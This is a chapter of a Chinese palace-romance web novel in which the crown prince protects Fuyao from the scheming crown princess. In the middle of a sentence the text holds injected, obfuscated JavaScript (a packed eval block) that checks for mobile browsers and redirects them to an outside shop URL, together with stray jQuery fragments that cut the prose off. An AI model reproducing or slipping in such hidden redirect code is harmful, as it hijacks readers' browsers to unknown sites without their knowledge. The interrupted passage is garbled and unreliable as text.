“谁准你们踏入凝香阁!”
一声冷喝倏然而至,院门被推开,苍梧清大步走来,挡在浮瑶面前,挺拔孤峭的身形挡住烛光,落下得大片阴影把浮瑶牢牢笼在其中。
被笼罩在他的身影之下,浮瑶一阵心安,小声唤道:“殿下……”
苍梧清轻轻“嗯”了一声没有回头,视线落在盛气凌人的太子妃脸上,眼底一片冷色。
太子携怒而来,太子妃带来的宫女随从当即齐刷刷跪地,恨不得把头埋进地里,肩膀因恐惧而瑟瑟颤栗。太子妃袁淑珍却是不疾不徐,对着苍梧清福身行礼,懒洋洋道:“臣妾问殿下安。”
苍梧清没有立刻让她平身,而是觑着她,不顾众仆婢在场,冷冷道:“孤早就告诫过你,莫要踏入凝香阁,还不退下!”
太子夫妇虽感情不睦,至今未能圆房,平日里却还一直维持着面上的相敬如宾,这还是在场众人第一次见到太子对待太子妃如此疾言厉色的样子,而太子妃又是从小娇生惯养,脾气极大,定是受不了被当众斥责的委屈,恐怕会当场闹起来。
一时间跪在地上的宫女随从们只觉越发如坐针毡,恨不得当场消失也好过被两位主子争执摩擦起的怒火所波及。
谁知,太子妃并没如众人所想的那般勃然大怒,而是遥遥一指地上被踩灭的火堆,迎着苍梧清森冷的视线道:“殿下之命,臣妾本不该违逆,可今夜有宫人来报,凝香院中隐有火光乍起,恐有走水之患。要知道这院子里住着的是殿下心尖上的人儿,臣妾怎敢大意,匆匆点了下人前来救火,谁知一进来就看到砚姑娘在此烧纸祭拜……”
虽如愿嫁给心悦之人,可除了名分、地位,她什么都没能得到。她恨毒了轻而易举占据苍梧清所有视线的浮瑶,更恨不肯给她哪怕一丝爱意和尊重的苍梧清。
自己一直以来忍受的痛苦定也要让他们也亲身体会体会!
好不容易才蹲守到砚浮瑶触犯宫规,这次说什么也要把她赶出宫去!
这两个人,一个死乞白赖留在宫中,另一个明知不合规矩还要不顾法度规矩强行把人留在东宫……如果陛下亲自下令赶砚浮瑶出宫,他二人想必都不好受。
他们越是难受,她便越是开心满足。
袁淑珍越想越兴奋,眼前仿佛已经能看到浮瑶被赶出宫去的狼狈模样和苍梧清恋恋不舍却终是无可奈何地放了手的样子。
“殿下。”她略一定神,抬起眼帘,作出一副为难模样,道:“砚姑娘触犯宫规,按规是要逐出宫去,可她毕竟是殿下疼惜之人,臣妾不敢擅做处置,不如还是禀告陛下,听凭陛下圣裁。”
浮瑶听了,脸色“刷”地一下更加苍白了。
陛下本就因她曾在太子和三皇子之间摇摆不定而勃然大怒,如果被他知道自己触犯宫规,恐怕会毫不犹豫地将她驱逐出宫,如此便不能留在东宫日日与殿下相见了。
一想到要与仰慕的太子殿下分开,浮瑶一时间只觉天旋地转、心裂如死,呜咽一声跪了下来,断断续续颤声哭求:“……我知道错了,请殿下、娘娘开恩,不要赶我出宫!浮瑶愿为奴为婢,以报殿下与娘娘的恩德……”
姣美柔弱的美人儿泫然泪下,哭得梨花带雨,纤弱的肩膀瑟瑟发颤,端得是楚楚可怜,即便同为女子,袁淑珍也不禁心神荡漾,可是紧随而来的却是难以言喻的异样。
还未等她细想,那种异样的感觉便在脑海中匆匆一闪没能捉住。
与此同时,只见苍梧清扶起浮瑶,继而转身看着她,冷冷道:“她是孤带进宫的,并非宫中之人,犯了错孤自会管教,出了事也自有孤负责,就不牢太子妃挂心了,你退下吧。”
眼看就能闹到陛下那里,紧接着便是砚浮瑶被打发出宫,袁淑珍既雀跃又期待,怎会允许苍梧清就这么把大事化小?
她一动不动,还想说些什么,可还没等她开口,便见苍梧清已经彻底拉下脸来,沉声呵斥:“还不退下!莫不是等着孤叫人架着你出去?”
话音里的不耐和怒意清晰可见。
袁淑珍从小被千娇万
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377426|136828||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宠着长大,就连亲生父母也不曾对她如此严厉,眼下苍梧清对她却是不假辞色,绿绿当着下人的面让她难堪。
越想越委屈,袁淑珍心中越发恼恨,暗恨自己当初有眼无珠上赶着嫁给苍梧清自讨苦吃,可事已至此,后悔也是无用。
袁淑珍紧咬银牙,草草行了个礼,带着浩浩荡荡的仆婢转身走出凝香阁。
闹腾一阵,已是深夜,呼啸而过的晚风越发寒凉刺骨,袁淑珍被忽如其来的晚风一吹,意识逐渐清明起来,先前在脑海中一闪而过的异样感再次涌现。
总觉得……砚浮瑶好像与从前很不一样了。
抓住关窍,袁淑珍不禁放慢脚步,细细思索起来。
初次见面时,是自己主动挑衅找茬,仗着出身嘲笑她身为微末小官之女,比自家奴婢还不如,定是使了什么妖术蛊惑了她的太子表哥。
当时的砚浮瑶竟丝毫不惧端国公府的威势,毫不客气道:
“……只是因为我能嫁郡主殿下嫁不了的太子殿下,郡主心中不甘,这才来找我麻烦吗……是不是用言语羞辱我、以身份打压我,郡主心中才能好受一点?”
如今想来,仍教她压根发痒,心中生恨,恨不得撕烂她那张得意放肆的脸。
……可是曾经如此伶牙俐齿、受不了半点委屈的砚浮瑶,今日竟主动跪在自己面前哭求示弱,情愿为奴为婢也不愿离开宫中……如此软弱愚蠢,与自己记忆中的砚浮瑶大相径庭。
好没意思。
与这样的废物针锋相对,半点趣味也没用,她果然还是更习惯看到她过去那副牙尖嘴利、天不怕地不怕的模样。
“好好盯着凝香阁的那个女人,”朦胧的天光下,袁淑珍微微偏了偏头,对身后半步伺候着的大宫女道:“一有异状马上告知本宫。”
*
袁淑珍一行人离开后,凝香院顷刻间又安静了下来。
浮瑶松了一口气,正准备同往日那样挽起苍梧清的手,却听见对方冷冷道:
“跪下。”